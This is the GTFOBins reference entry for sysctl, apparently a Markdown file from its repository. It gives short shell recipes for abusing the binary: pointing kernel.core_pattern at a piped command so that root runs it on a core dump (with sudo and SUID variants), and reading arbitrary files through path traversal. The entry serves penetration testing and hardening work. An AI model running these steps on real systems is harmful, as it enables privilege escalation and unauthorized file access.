GTFOBins.github.io/_gtfobins/sysctl.md
decrazyo 21e0166608
Update sysctl
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-12-16 17:12:13 +01:00

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---
functions:
command:
- description: The command is executed by root in the background when a core dump occurs.
code: |
COMMAND='/bin/sh -c id>/tmp/id'
sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
file-read:
- description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
code: |
LFILE=file_to_read
/usr/sbin/sysctl -n "/../../$LFILE"
suid:
- code: |
COMMAND='/bin/sh -c id>/tmp/id'
./sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
sudo:
- code: |
COMMAND='/bin/sh -c id>/tmp/id'
sudo sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
---